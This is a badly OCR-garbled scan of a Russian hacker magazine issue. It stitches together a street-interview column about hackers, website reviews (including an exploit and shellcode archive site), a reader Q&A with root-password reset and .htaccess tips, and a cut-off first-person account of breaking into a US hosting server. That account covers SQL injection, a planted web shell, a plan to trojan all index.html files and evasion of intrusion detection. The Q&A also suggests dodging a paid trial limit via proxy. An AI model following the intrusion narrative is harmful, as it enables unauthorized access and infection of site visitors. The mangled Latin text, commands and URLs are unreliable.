Малого театра и в первом окошечке обратились к женщине преклонного 
возраста с просьбой дать интервью. Тетушка, к сожалению, не захотела 
с нами общаться, сказала, что пересчитывает билеты, и закрыла ставни 
:(. Пришлось ползти к другому окошку. Там тоже сидела женщина в годах. 
Купер попытался с ней вежливо пообщаться, но и она почему-то стала в 
спешном порядке пересчитывать билеты. Наверное, она подумала, что 
мы воришки какие-нибудь и силой мысли можем устраивать недостачу в 
кассе. Петров все еще не сдавался, пытался уломать тетку выкроить пару 
минут для нас. Но она тоже начала опускать ставни своего окошка. Одна- 
ко что-то заело, и процесс на некоторое время застопорился. Купер вру- 
бил фотик, просунул его в круглое отверстие билетной кассы и начал в 
быстро фотографировать работницу театра. В итоге взять интервью нам 
не удалось, однако мы получили очень ржачный снимок, над которым 
ухохатывались до боли в животах. 

[сквер у Большого театра] Делать нечего — я, изредка поглядывая на экран 
фотоаппарата и не в силах больше ржать как троянский конь, курил, гене- 
ря идеи, где и у кого еще взять интервью о хакерах. Мой взгляд остановил- 
ся на странной парочке, сидящей на лавке: дед лет семидесяти, с огром- 
ной белой бородой, и женщина, по виду его дочь, лет сорока пяти. Подош- 
ли, представились. Раисе Александровне и вправду 45 лет, живет в Смоле- 
нске, имеет двух сыновей. Старшему 25 лет, младшему — 16. Оба технари, 
увлекаются серьезно компьютерами и программированием. Женщина 
сказала, что хакеры — абсолютно такие же люди, как и все, однако зани- 
маются они, на ее взгляд, очень плохими вещами. Хакеров необходимо ло- 
вить и наказывать. На наш вопрос о том, что будет, если она узнает, что ее 
сыновья занимаются нехорошими вещами в Сети, ответила, что СРАЗУ ЖЕ 
ограничит их доступ к компам и интернету. Каким образом — не раскрыла 
секрет, но на все 100% твердо заявила, что так и будет. В общем, эдакая 
бой-баба, настоящая русская женщина с жестким характером :). Жалко 
мне ее старшего сына, если честно. Пацану 25 лет, а до сих пор находится 
под тотальным контролем. Почему под контролем? Да потому что Раиса 
Александровна заявила так: «Детям не удастся от меня скрыть правду, я 
сразу же узнаю, что они стали хакерами, если такое произойдет!». После 
этого мне расхотелось считать своих предков полными деревьями в ком- 
пах :). Вдруг они тоже все обо мне знают? И придет час, когда меня отрубят 
от инета, заберут комп, и не смогу я больше писать в X :(. Горе мне, горе!!! 
Дед в ответ поинтересовался у нас, зачем же хакеры взламывают, если 
вход в интернет свободный? Пришлось объяснять ему на пальцах, что в га- 
ражный массив тоже можно зайти без проблем, однако гаражи все рав- 
но вскрывают :). Он все понял тут же, сказал, что бизнесмен со стажем и 
понятливости у него хоть отбавляй. В общем, зафотали мы Раису Алекса- 
ндровну и двинули дальше. Жаль, фотки стерлись потом :(. 

[вотячка] Недалеко находился МАРХИ, поэтому Куттер предложил зай- 
ти именно туда и порасспрашивать симпотных архитекторш. По пути 



мы заприметили церковь и подумали: «А почему бы не взять интервью у 
батюшки и узнать, что церковь думает о сетевых взломщиках?». К тому 
же, время было не раннее, я бы даже сказал, что время было позднее, 
и МАРХИ уже давно закрыт. Однако батюшку мы в церкви, к сожале- 
нию, не застали. Поэтому, поставив с Купером по свече к иконе Сер- 
гия Радонежского (за учебу), выползли мы обратно на улицу и уже со- 
бирались расходиться по домам, как к нам подгребла девушка и поп- 
росила нас на пару минут. Я сразу же перехватил инициативу и, не 
слушая ее, начал задавать вопросы о хакерах. Наде 18 лет, она из 
Ижевска приехала торговать книгами в Москву. Странная девушка 
она. Вотячка, одним словом. О хакерах она ни сном, ни духом, хотя и 
учится на программистку в каком-то удмуртском университете. Все 
время дергалась, смеялась, ничего толком не сказала. Предложила 
купить книгу какую-то здоровую. В общем, послали мы ее куда подаль- 
ше и, не узнав ничего нового от нее, пошли на Красную площадь, ибо 
у нас открылось второе дыхание. 

[фотограф] На Рэд Сквере мы и встретили Ксению. Ей 25 лет, она про- 
фессиональный фотограф. Дома у Ксении стоит комп и два ноутбука. Ее 
муж — хакер. Взламывает различные системы, недавно нашел способ 
нагнуть весь ЖЖ и заиметь там любой аккаунт :). Поэтому вопрос о том, 
стала бы она встречаться с хакером, отпал сам собой — она не только 
стала бы, она уже замужем за таким :). Из ее личного опыта: хакер — не 
обязательно очкастый дрочер. Ее муж имеет разряд по боксу, высокий, 
спортивного телосложения, симпатичный до безумия :). А еще Ксюхе 
спамеры кажутся смешными чуваками, а кардеры — злыми. Да, я тоже, 
кстати, заметил, что в последнее время спам какой-то смешной прихо- 
дит, а с моей креды бабки куда-то пропадают. 

Ксения еще чего-то нам сказала нелепое и растворилась в толпе, торо- 
пясь на очередные съемки. 

[реслинг] Ну а вечером я, как обычно, поехал на рестлинг пялиться. Встре- 
тил там девушку Женю — ярую поклонницу Пресса и Локомотива. Женя 
рассказала, что к хакерам относится положительно, даже за них обеими 
руками и одной ногой. Одной, потому что если поднимет вторую — упа- 
дет. Кстати, Евгения и сама не раз занималась получением доступа к чу- 
жой информации — взламывала мыла своих бывших подруг и друзей. 
Иную нечисть вроде спамеров 20-летняя девушка просто на дух не пере- 
носит. Сказала, что если найдет представителя такой диаспоры — заду- 
шит голыми руками, а в гроб накидает кучу разных ненужных писем :). По- 
ложительная девчонка, в общем, как ни крути. 

[конец — делу венец] Вот и все. Начало рубрике ЫІеЗІуІе мы с Куттером 
положили таким незатейливым способом. Пообщались с женским полом, 
выпили пива, вынесли кучу положительного для себя, узнали вживую мне- 
ние людей о таких, как мы, о таких, как ты. Отныне каждый месяц мы будем 
тебя радовать своими изысканиями на самые разные темы. Жди. Удачи 
тебе и побольше реала, не засиживайся перед силиконовым монстром, 
а то под глазами круги появятся, как у меня :) © 
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ѴѴЕВМА5ТЕРЗ 
Иван Скляров 
(\л/\л/\л/ . зкіуа гоІТ. ги) 

Иван Кузнецов ака Зеѳй 
($еесІ@п$к.ги) 



Чд/Ѵ'/ілУ 



ДЕЛА БАНДИТСКИЕ 



тех, кто имеет великий дар творить прекрасные вещи и без капли 



- \лллллг.дор-зГор.ги 

«Гоп-стоп. Мы подошли из-за угла!». Вспоминаются слова из гимна гопни- 
ков всея Руси. На сайте шш.дор-зіор.ги подходить из-за угла, конечно, не 
научат, а вот выживать в нашей нелегкой жизни — запросто :). Игра «Дела 
бандитские» представляет собой захватывающую виртуальную среду, в 
которой, зарегистрировавшись и став настоящим братком, ты запросто 
сможешь сколотить свою банду из таких же матерых парней, как и ты, и 
начать тактичный передел сфер влияния, запугивать других участников иг- 
ры, получив разряд по стрельбе и боксу. И может быть, в скором време- 
ни ты станешь авторитетнейшим бандитом шикарного города Шикаго. 



стыда и угрызений совести готов представить их народу. АІ?Т 
РзусГюзІБ — это ресурс, на котором тебя никто не станет осуждать 
за излишнее насилие по отношению к кому-либо. Тебя никто не 
будет упрекать в извращенной фантазии и греховных мыслях. На 
сайте находится обширная коллекция арт-композиций и зарисо- 
вок, представлено творчество пациентов-прозаиков и много еще 
всего самого необычного и интересного. 

КПСС 



ВРАГИ. РУ 

— \ллллл/.ѵгаді.ги 

Есть ли у тебя враги? Да что я спрашиваю, есть, конечно. У каждо- 
го человека на этом свете, каким бы он ни был правильным и поло- 
жительным, найдется некоторое количество недоброжелателей. 
И в свою очередь, он сам будет испытывать негативные эмоции по 
отношению к другим личностям, существующим с ним в одном ми- 
ре. Ресурс ѵѵѵѵѵѵ.ѵгаді.ги позволяет безнаказанно поизмываться 
над своими недругами и выпустить пар. А если учесть, что, раз- 
местив на сайте имя своей жертвы, ты позволяешь поглумиться 
над ней еще некоторому количеству посетителей ресурса, то по- 
лученное удовольствие многократно увеличивается :). 






ТВОРЧЕСТВО 

ИЗ СУМАСШЕДШЕГО ДОМА 

Ыі-р : //аг+рзуоііозіз. ги 



Сумасшедший ресурс, представляющий во всей красе все виды 
таинственного творчества людей из психушки. Сайт создавался, 
прежде всего, как место сбора особо одаренных личностей. Для 






- ІіПр://аЬопепГоѵ.пеГ 

Мобильная связь везде и повсюду. Современный человек просто 
не представляет своего существования без услуг связи, оказыва- 
емых сотовыми операторами. Оказавшись в таком положении, 
простой пользователь стал заложником правил и законов, диктуе- 
мых ему операторами. «Мы против сотовой связи в том виде, в ко- 
тором она существует и продается сейчас. Но мы за сотовую 
связь!» — так звучит главный лозунг борцов за честность и откры- 
тость операторов сотовой связи, и именно в таком направлении 
движется клуб. Мобильные хроники и скандальные материалы, 
собранные кругом единомышленНиков^овлзваны сплотить и ско- 
ординировать людей, желающих что^||Яоменять. Если тебе инте- 
ресна эта идея и ты готов к решитедетьга действиям — добро по- 
жаловать в Клуб противников сото|Ді связи. 




ПРОГРАММНА 

экспяоито 

\ллллл/.5ІяеІІсосіе.сот.аг 

Горячий аргентинский па 
История утаила, удалось 
он собрал приличное ко. 




решил научиться кодйть’рксплоиты. 
му или нет, но материа/рв по теме 
іо. В итоге" 'родился сайт, пол- 








ТШ5 



ЛАБОРАТОРИЯ ОК 

- ІтНр://сІкІаЬ.ги 

Этот сайт — находка для любого \л/еЬ-программиста и \л/еЬ-ди- 
зайнера. Все статьи и программы на сайте разработаны ла- 
бораторией бк. Статьи оформлены в стиле «ру/ководства» из- 
вестного дизайнера Артемия /^ебедева, только под названием 
«КУ/роводство». Уверен, каждый найдет в них что-то интерес- 
ное для себя. Вот лишь некоторые примеры «ку/роводств»: 
«РНР, МуЗОІ_ и безопасность», <Ларри Уолл о РегІ 6», «Хитрости 
ЛаѵаЗсгірТ», «Что делать, когда падает Арасіпе (или другой 
сервер) в ІІпіх», «Публикация Модулей на СРАІЧ», «\А/іп32 — Ас- 
семблер — Дзэн» и пр. 



ностью посвященный программированию эксплоитов! | Список 
статей впечатляет: тут тебе и эксплуатация беар, зТаск оѵеіПоѵд 
(опта) зТгіпд и прочие техники. В наличии есть тулзы, об]\епнающие 
создание эксплоитов, например автоматический (генератор 
шелл-кодов. Есть и архив уже готовых шелл-кодов под^са^личные 
оси. Хочешь научиться кодить эксплоиты — тебе прямЪя -дорога 
на этот сайт. Практически вся инфа представлена на*антийском. 



чглииск 



НЕОБЫЧНАЯ 
ТЕХНИКА ОБХОДА 
БРАНДМАУЭРОВ 



ІтНр://дгау-\лгогІсІ.пе( 

Туннелирование, скрытые каналы, сетевые методы стеганографии 
и прочие методы обхода брандмауэров не новы. Но отличие этого 
сайта от других заключается в том, что он не просто описывает су- 
ществующие техники, а является сайтом команды ОѴѴ, которая про- 
водит собственные исследования на эту тему. Команда уже разра- 
ботала множество утилит, например ССТТ, осуществляющую тунне- 
лирование произвольных данных ТСР и ІГОР в запросах ТСР, ІЮР и 
НИР РОЗТ. На сайте собрано множество статей и РЕС по теме. Ко- 
манда является интернациональной, есть люди и из России, поэто- 
му существует версі|я сайта нерусском и прочих языках. 

ѴІА! ѴІА 

\ллллллѵіазо1і'.ги 

Сайт некой и 
имен ее м 
денно занима 
дать миру, 
вания, а т 



гом и 1<1 
раны маі 
ё туторис 



азовано из первых букв 
ти добрые молодцы уси- 
копаыием, о чем спешат пове- 
лы, ошсывающие их исследо 
ы: «Проецирование файлов», «О 



для начинающих» и прочие пр 



«В поисках кегпеІ32.с1ІІ» / «ѴѴА5М 
ти. Присутствуют также проги и 



кряки от ѴІА. Кроме того, советую заглянуть к ним в «Библиотеку», 
чтобы узнать, какие книги делают из животного человека. 



В ГОСТЯХ У АКЕ8 А 

- ІтНр://аге5.х252Іпе.огд 

Агез — это русский хакер и просто хороший человек. Его статьи 
появлялись в таком известном российском электронном журна- 
ле, как х25гіпе, что, впрочем, и выдает ІІРІ_ его сайта. Арес не за- 
нимается тратой времени на графические излишества и пустос- 



ловие. А чем же он занимается? 
вало бы заниматься всем нам, — 



А занимается он тем, чем следо- 
изучением и исследованием тех- 



нологических наворотов. Арес является автором нехилого коли- 
чества доков и программ, причем статьи он пишет исключительно 
на английском. Вот некоторые вещи с его сайта: «Методы инфици- 
рования файлов в І_іпих», «Портсканер на асме», «Основы перму- 
тации в І_іпих» и многое другое. 
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0 иелІйш_ 1 : 
0и«л1Хап._2: 



0 иелЛХшг_с$ : 



0аса^1оп._4: 



0и«Д'ІХап_5: 

0ией'ІХшг_6: 

0иелЛХст._7 : 
0 иеЛІіап_8 : 



0иелЛХоп-_9: 



0и«л1лоп_1 0: 
0и«лТииі_1 1 : 
0и«лТшп_1 2: 



Что такое ѴѴІЫ5? 

Объясни, пожалуйста, как работать с технологией \А/аке-оп-1_АЫ? Я на 100% уверен, 
что моя материнская плата и сетевой адаптер эту функцию поддерживают, но когда 
я пытаюсь обратиться к выключенной машине, ничего не происходит. 

Прочитал статью «Небесные радости» в мартовском номере ][ и сразу загорелся 
идеей спутникового телевидения. Очень скоро был куплен необходимый набор 
оборудования, и я без труда его настроил. Все бы хорошо, но счастье длилось 
недолго. Очень скоро у меня перестала работать купленная с рук ОѴВ-карта 5ку 2 
РС КІТѴІ-І ѵ2.3. Ее можно как-нибудь реанимировать? Гарантии, к сожалению, нет. 
Недавно приобрел ноутбук со встроенным ѴѴІ-РІ адаптером, а заодно и точку 
доступа для подключения к локальной сети. Сейчас бегаю по квартире и буквально 
визжу от восторга: никаких проводов, стабильная и приличная скорость, ничего не 
мешает. Единственное, мучает вопрос: насколько вредно ѴѴІ-РІ излучение? Может, уже 
через неделю я светиться начну? :) 

Как можно восстановить или установить новый пароль пользователю в Еіпих'е? 
Существуют ли способы преобразования карманного компьютера в полноценный 
мобильный телефон? 

На каком языке и как пишут ОП-файлы? 

С недавних пор мой компьютер начал часто зависать и самопроизвольно 
перезагружаться. В службе поддержки мне любезно подсказали, что проблема, 
скорее всего, в битой оперативной памяти. Отсюда вопрос: можно ли каким- 
нибудь способом исключить появившиеся битые блоки оперативы и тем самым 
нормализовать работу системы? Я использую Еіпих Мапбгаке. 

Какой бы Ппих я ни устанавливал, всегда получается, что частота экранной развертки 
в консоли равна 60 Гц. По понятным причинам меня это не устраивает. Расскажи, 
пожалуйста, как это можно исправить? 

Мне нужно заблокировать доступ к некоторым папкам веб-сайта по маске ІР-адресов. 
Подскажи, пожалуйста, как это можно реализовать с минимумом усилий. 

Возможно ли подключить жесткий диск от ноутбука к обычному домашнему ПК? 

Как я понял, соответствующие разъемы не совпадают :(. 

Я слышал, что в интернете работают сервисы, позволяющие конвертировать документы 
из текстового вида (НТМЕ, ТХТ, ЭОС, ХЕ5) в формат РРР. Посоветуйте один из них, 
это очень важно! 



ШІІІ 



РАОСОММЕЫТ5 
Степан Ильин 
(?ад@геаІ.хакер.ги) 



ачх 

ЕІ\ІТ5 іі 

ин ака 3+ер г|| 
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ЗАДАВАЯ ВОПРОС, ПОДУМАЙ! НЕ СТОИТ МНЕ ПОСЫЛАТЬ 
ВОПРОСЫ, ТАК ИЛИ ИНАЧЕ СВЯЗАННЫЕ С ХАКОМ/КРЯ- 
КОМ/ФРИКОМ, — ДЛЯ ЭТОГО ЕСТЬ НАСК-РАО (НАСК- 
РАО@РЕАІ_.ХАКЕР.РШ), НЕ СТОИТ ТАКЖЕ ЗАДАВАТЬ ОТ- 
КРОВЕННО ЛАМЕРСКИЕ ВОПРОСЫ, ОТВЕТ НА КОТОРЫЕ 
ТЫ ПРИ ОПРЕДЕЛЕННОМ ЖЕЛАНИИ МОЖЕШЬ НАЙТИ И 
САМ. Я НЕ ТЕЛЕПАТ, ПОЭТОМУ КОНКРЕТИЗИРУЙ ВО- 
ПРОС, ПРИСЫЛАЙ КАК МОЖНО БОЛЬШЕ ИНФОРМАЦИИ. 

&имім_ 1 : ѴѴІІМЗ (ѴѴІпсІслл/5 Іпіетеі ІМате Зегѵісе) — это система, 
которая по имени компьютера в сети определяет его ІР-адрес. 
Протокол этот уже давно устарел и сейчас практически не ис- 
пользуется. Ему на смену пришла значительно более универ- 
сальная и эффективная система доменных имен (ОІЧ5). Обе си- 
стемы очень похожи по сути, но ѴѴІІЧЗ, в отличие от Э!\І5, работа- 
ет с протоколом ІЧе+ВІОЗ. Последний, как известно, активно ис- 
пользуется только в старых операционных системах типа \А/іп- 
сіохл/з 95/98/Ме — именно из-за них, собственно, и приходится 
налаживать ѴѴІЫЗ-сервер. Принцип работы сервиса до непри- 
личия прост: во время подключения к сети клиент обращается к 
ѴѴІІМЗ-серверу и запрашивает регистрацию. Сервер обрабаты- 
вает этот запрос, а также заносит имя компьютера и его ІР-ад- 
рес в свою базу данных. Таким образом, на сервере создается 
четкая логическая структура вида «имя компьютера — ІР-ад- 
рес». Если одному из компьютеров необходимо соединиться с 
другим пользователем сети, он в первую очередь обращается 
к ѴѴІЫЗ-серверу и получает по ЫеТВІОЗ-имени его ІР-адрес. 

В случае, когда локалка состоит из нескольких подсетей, в каж- 
дой из них требуется устанавливать свой ѴѴІЫЗ-сервер. И более 
того, между серверами должна постоянно осуществляться ре- 
пликация (синхронизация базы данных). 

( : Если ты просто пытаешься открыть выключенную ма- 
шину в сетевом окружении или пропинговать ее, то ничего про- 
исходить и не должно. Когда компьютер выключен, сетевой 
адаптер реагирует исключительно на специальный \л/аке-ир 
пакет, представляющий собой особую комбинацию МАС-ад- 
реса сетевухи и синхросигнала. 

Как только подобный пакет получен, сетевуха передает ком- 
пьютеру команду на включение. 

К сожалению, ни одна из стандартных программ ѴѴіпсІо\л/з пере- 
давать \л/аке-ир пакеты не умеет, так что придется полагаться 
исключительно на сторонних разработчиков. Среди массы 
подходящих утилит я бы выделил простую и удобную прогу \Л/а- 
кеЕІР ( ѵѵѵѵѵѵ.сІиЬсопІгоІ.ги/ѴѴакеир.гаг ). Для включения удален- 
ного компьютера ты должен указать МАС-адрес его сетевого 
адаптера. Его можно определить самыми различными спосо- 
бами, в том числе и самой ѴѴакеІІР. Примечательно, что в базу 
программы можно занести сколь угодно много записей с МАС- 
адресами и включать несколько компьютеров за раз. Более то- 
го, ѴѴакеУР поддерживает работу с командной строкой, а зна- 
чит, запуск нескольких компьютеров можно запрограммиро- 
вать с помощью любого мало-мальски рабочего планировщи- 
ка, например ппСгоп'а (іѵи /ѵѵ.ппсгоп.гиУ 

($плѵ>лг_3-- В большинстве случаев ремонт ЭѴВ-карты — задача 
не из простых. Но похоже, что это не твой случай. 5ку 2 РС ІМТѴІ- 
1 ѵ2.3 (она же ЗкуЗТаг ревизии 2.3) частенько выходит из строя из- 
за сгоревшего транзистора В33138. Если так оно и есть, то ты, 
можно сказать, отделался легким испугом. Деталь стоит 2-3 
рубля, и ее сможет перепаять любой грамотный радиотехник. 

4: Начнешь — это я совершенно точно тебе говорю. Так 
что долой ѴѴІ-РІ, отключай на телефоне ЫиеТооТТі и вообще вы- 
брасывай аппарат на помойку, а вместе с ним и микроволно- 
вую печь с телевизором — все они вредные! :) 

Если говорить серьезно, то все перечисленные устройства про- 
ходят обязательную сертификацию и генерируют совершенно 



ничтожное излучение в пределах, оговоренных жесткими нор- 
мами и стандартами. Именно из-за этого \Л/І-РІ и ЫиеТооТТі без 
дополнительного усиления работают на весьма незначитель- 
ном расстоянии. Более того, на данный момент нет никаких ре- 
зультатов исследований, которые бы говорили, что их излучение 
пагубно влияет на человеческий организм. 

Ѳплл>)ел_5: Это зависит от типа пользователя. Если был потерян 
пароль рядового юзера, то особых проблем с его восстановле- 
нием не будет. Просто заходи в систему под рутом (для этого на- 
бери в консоли -зи) и с помощью команды раззѵѵсі назначай 
пользователю новый пароль: раззшсі <имя пользователе. 
Совсем другое дело — потеря пароля гооі'а. Так, если ты име- 
ешь дело с удаленной системой, то восстановить его, скорее 
всего, не удастся. Если же требуется восстановить пароль на 
локальном компьютере, то ситуация не так критична. Перегру- 
жай машину и во время загрузки переходи к текстовой версии 
ПЮ, которая поприветствует тебя своей командной строкой. 
Тебе нужно получить доступ к консоли. Для этого набери в ко- 
мандной строке «Шо зіпдіе» (без кавычек). После этого остается 
только открыть файл с паролями при помощи текстового редак- 
тора и отредактировать его: ѵі /еТс/разз\л/с! (или /еТс/зТіасІо\л/). 
Найди в нем запись гооТ'а и удали все символы между вторым и 
третьим двоеточием. 

&им*А!л._6: Да, существуют. Уже довольно давно в продаже до- 
ступны специальные ѲЗМ-модули, предназначенные для под- 
ключения к КПК. Подсоединив один из них к своему наладонни- 
ку, ты получишь отличный девайс с функциями обычного сотово- 
го телефона. 

Выделяют два типа ѲЗМ-модулей, и перед покупкой следует 
убедиться, что выбранная модель — это именно то, что тебе нуж- 
но. Устройства, относящиеся к первому типу, способны переда- 
вать данные и при этом поддерживают голосовую связь. Но в то 
же время широко распространен и другой тип модулей, кото- 
рый предназначен исключительно для передачи данных (а-ля 
ѲРРЗ-модем). По понятным причинам они тебе не подойдут. 

Все необходимое программное обеспечение обычно прилага- 
ется к модулю. Но если ты спросишь бывалого пользователя те- 
лефонизированного КПК об используемом софте, то наверняка 
услышишь имя утилиты тоЬЮІаІ (мѵи /.тоЫдіаІ.сот). Благодаря 
продуманному интерфейсу и полезным фишкам, она значитель- 
но превосходит всех своих конкурентов. 

(Эцпд»>яг_7: Разработка динамических библиотек мало чем отли- 
чается от создания обычных программ, а для разработки ис- 
пользуются все те же средства. Например ОеІрІ'іі. Если ты хоро- 
шо знаком с языком ОЬІесЕ РазсаІ, то разобраться с разработ- 
кой ЭИ для тебя будет сущим пустяком. Рассмотрим это про- 
цесс на примере. 

Любая динамическая библиотека, написанная на ЭеІрБІ, имеет 
примерно следующую структуру: 

ІІЬгагу МуйИ; 

ІІ8Ѳ8 

ЗузШІІз, 

СІаззез, 

Рогтз, 

ѴѴІпсіоѵѵз; 

ргосесіиге Не11о\Л/ог19(АРогт : ТРогт); 

Ьедіп 

Мез8адеВох(АРогт.НапсІІе, ‘НеІІо ѵѵогМ!',’Наша первая ОЩ МЕМЭК); 

епсі; 

ехроЬз 

НеІІоѴѴогІсІ; 

Ьедіп 

епсі. 
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Ключевое слово «ІЛогагу» указывает на то, что исходный код 
должен компилироваться не в исполняемый файл или мо- 
дуль, а в ОІ_І_-библиотеку. Помимо этого, идущее после не- 
го значение является названием библиотеки. В моем при- 
мере описана только одна процедура, которая предста- 
вляет собой вполне обычную подпрограмму для вывода ок- 
на МздВох с сообщением «НеІІо \л/огІсН». Ниже располага- 
ется ключевое слово «ехрогіз», после которого заведено 
указывать процедуры и функции для экспорта. Проще гово- 
ря, перечисленные подпрограммы становятся доступными 
любой программе, подключившей динамическую библио- 
теку. В то же время описанные в ОІ_І_, но не экспортируемые 
процедуры называются локальными и не могут быть вызва- 
ны извне. Знакомые до боли ключевые слова «Ьедіп» и 
«епсі», как ни странно, в моем примере не содержат ни од- 
ной строчки кода. Вообще, здесь должен располагаться 
код, который выполняется сразу после загрузки библиоте- 
ки, однако на практике этот блок в большинстве случаев 
остается пустым. 

Перед использованием подпрограммы из динамической 
библиотеки ОІ_І_ необходимо загрузить в оперативную па- 
мять. В случае статической загрузки ОІ_І_ библиотека поме- 
щается в память сразу после запуска импортирующего ее 
приложения. Это не очень эффективно, поэтому был разра- 
ботан другой способ загрузки библиотеки — динамиче- 
ский. В этом случае она загружается в память только в слу- 
чае необходимости, то есть более экономно использует 
ресурсы компьютера. 

Импортируемую подпрограмму нужно описать. Для этого в 
случае статической загрузки ЭИ во время описания про- 
цедуры или функции применяется специальный модифика- 
тор ехТегпаІ. Он помещается в объявление функции или 
процедуры, а также указывает имя импортируемой би- 
блиотеки. На практике это выглядит следующим образом: 
ргосесіиге НеІІоѴѴогІсІ (АЕогт : ТРогт); ехіегпаі тусІІІ.сІІГ. 
После такого описания вызвать процедуру можно вполне 
обычным способом: НеІІоѴѴогІсКзеІГ). 

($пллйег_8: Вариант первый: наложить на ядро специальный 
патч ВабМЕМ ( Ьасітѳт.зоигсѳіогде.пеі ). Операция не- 
сложная, но чтобы избежать возможных проблем, рекомен- 
дую прочитать доступные на сайте мануалы и НСАЛ/-ТО. Этот 
способ универсальный и поможет в большинстве случае. 
Возможен и другой вариант, но он подойдет, только если 
битые участки находятся ближе к концу области памяти, что 
можно определить с помощью утилиты для диагностики 
ОЗУ тетГезГвб {ѵѵѵѵ\ ѵ.тетТвзЮб.сот). Если в результате 
проверки выяснилось, что так оно и есть, то можно посту- 
пить следующим образом: во время загрузки системы да- 
ем указание ядру, чтобы оно использовало не весь досту- 
пный объем памяти, а только до области поврежденных 
секторов. Объясняю на примере. Если в твоем компьютере 
512 Мб и битые блоки начинаются с 397 Мб, то загрузчику 
нужно передать команду Мет=397. Для этого в ІіІо.сопЕ 
необходимо поместить следующую сточку: ар- 

репб="тет=387М". 

®паѵ>м_9: Там, где эта проблема до сих пор присутствует, 
чаще всего достаточно пересобрать ядро и наложить со- 
ответствующий патч ( ѵѵмѵѵ.Ііпихзоз.сІвзк.рІ/ѵезаІ’Ь.І-іітІ ). За- 
платка поднимет частоту до приемлемых 100 Гц. 

Разумеется, с помощью файла .ОТассезз. С 
его помощью можно быстро блокировать или, напротив, 
разрешить доступ как определенным ІР-адресам, так и 
целым диапазонам. Все, что от тебя требуется, — создать 
в требуемой папке текстовый файл .Массезз следующего 
содержания: 



Огбег сіепу.аііоѵѵ 
Репу Ігот аІІ 
АІІоѵѵ (гот 62.148.3.4 
АІІода (гот 62.148.10 

Строка «Огсіег бепу,аІІо\л/» определяет, в какой последова- 
тельности выполняются запрещающие (сіепу) и разрешаю- 
щие СаІІоѵл/) условия. Команда «Эепу Егот аІІ» («Запретить 
всем») полностью блокирует доступ к папке, независимо от 
ІР-адреса посетителя. Следующее правило — АІІочл/ (тот 
62.148.3.4 — разрешает подключение с одного-единствен- 
ного ІР-адреса. А последняя строка открывает доступ всем 
клиентам с адресами, начинающимися с 62.148.10. 

Для того чтобы уведомить посетителя, что доступ запрещен, 
необходимо переобозначить страницы с сообщением об 
ошибке 403 («Доступ запрещен»). Для этого создай новую 
страницу с пояснением о закрытии доступа и сохрани ее в 
данном каталоге под именем \л/агпіпд.ГіГтІ. Далее открой 
уже имеющийся файл .Ітіассезз и добавь туда следующую 
строчку: «ЕггоЮоситепЕ 403 Лл/агпіпд.ГгІгп». Необходимость 
в создании дополнительной страницы \л/агпіпд.Гі1тІ отпада- 
ет, если вместо этой строки ввести следующее: ЕггоЮоси- 
теп1403 «Доступ запрещен! Вы забанены по ІР-адресу». 
Для справки приведу коды других ошибок, которые ты по 
аналогии можешь использовать в иных ситуациях: 404 
(файл не найден), 500 (внутренняя ошибка сервера). 

($пллйм_ 1 1 : Хотя разъем ноутбука внешне и отличается от 
стандартного ЮЕ'шного, он полностью совместим с ним. 
Впрочем, это не значит, что переходник можно сделать в до- 
машних условиях. На разъеме ноутбука расположены до- 
полнительные контакты для питания, что значительно услож- 
няет задачу. Так что переходник придется покупать за $5-10 
в магазине. Выглядит он как небольшая плата, имеющая с 
обеих сторон разъемы подключения (один — 40, другой — 
46 контактов), а также стандартный штекер питания. 

($пллйи_1 2: СгеаТе АбоЬе РЭЕ Опііпе ( сгеаІерсІІсісіоЬе.сот ) — 
мощнейший онлайн-сервис, имеющий множество самых раз- 
нообразных функций. Мне он особенно приглянулся из-за сво- 
ей универсальности, так как поддерживает конвертирование 
из самых разнообразных форматов. Дополнительные фишки: 
различные способы получения готового файла, возможность 
преобразования целого веб-сайта. Сервис платный, однако 
всем желающим предоставляется тестовый период, беско- 
нечно продлеваемый с помощью прокси-сервера. 

Еазі РЭЕ (ѵѵѵ/ѵѵ.ГазІрсІІсот') предлагает значительно мень- 
шие возможности и подойдет только в случае, если тебе 
необходимо конвертировать файлы формата ЭОС и РТЕ. 
Более того, бесплатно могут быть обработаны материалы 
размером не более 12 страниц, да и то сервис на каждой 
из них поставит свою отметку. 

А вообще я рекомендую тебе отличное оффлайновое 
средство — программу рсІЕЕасГогу (и гѵѵѵ/.ііпергіпі.сот/рго- 
сіисІз/рсІЯасІогу'). Утилита имеет очень интересный прин- 
цип работы и кардинально отличается от всех своих со- 
братьев по конвейеру. После установки рсІЕЕасТогу пропи- 
сывает в систему вспомогательный виртуальный принтер, с 
помощью которого и производится преобразование. Для 
того чтобы получить РЭЕ-версию какого-либо файла, тебе 
достаточно отправить его на печать, а в качестве принтера 
выбрать рсКЕасЕогу. Это чрезвычайно удобно и эффектив- 
но, так как отпадает всякая необходимость запуска про- 
граммы, а преобразованию подлежат любые документы, 
которые можно распечатать. Среди дополнительных фи- 
шек: склеивание нескольких РЭЕ-файлов, предваритель- 
ный просмотр результата, автосохранение, автоматиче- 
ское распознавание в тексте гиперссылок. 
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[видео: массовое заражение] 

Бытует мнение, что администраторы 
хостинга всегда правильно подходят 
к защите своих серверов. На самом 
деле это не совсем так. Когда мой 
приятель попросил взломать ѴѴѴѴѴѴ- 
сервер крупного американского 
хостинга, а затем протроянить все 
іпсІех.МтГы вредоносным троянс- 
ким кодом, я не сомневался в успе- 
хе. Ведь у меня уже была база сай- 
тов некоторых крупных хостеров 
После небольшого перебора ссы- 
лок я наткнулся на сайт девочки 
Бритни (не Спирс). Я просканил этот 
сайтик на СѲІ/РНР-баги и нашел 
скрипт гостевой книги. Чтобы войти в 
административную зону, требова- 
лось знать логин и пароль. Введя зна- 
чения от балды, я обнаружил симп- 
томы 5(ЗІ_-инъекции. Мне пришлось 
подставить в запрос дополнитель- 
ные данные и вызвать инъекцию. 
После того как я оказался в админ- 
ке, мне пришло в голову заменить 
код темплейта (благо такая возмож- 
ность была), вставив туда РНР-ко- 
манду. Однако права на запись не 
позволяли этого сделать. Но благо- 
даря еще одной ошибке, позволяю- 
щей читать любые файлы, я переза- 
писал сценарий сопГід.рГір, кото- 
рый располагался в главном катало- 
ге девочки Бритни. После этого я вла- 
дел полноценным \Л/еЬ-шеллом. 




мне нужно было как-то защитить се- 
бя, так как на сервере стояли две ЮЗ 
(впрочем, читать логи администратор 
явно не любил, что доказывает '11- 
метровый таіІЬох). Запуск локальной 
системы обнаружения атак произво- 
дился посредством сгопІаЬ-скрипта. 
Он, конечно же, был просмотрен 
мной с помощью консольной коман- 
ды сгопГаЬ -I. Впоследствии я решил 
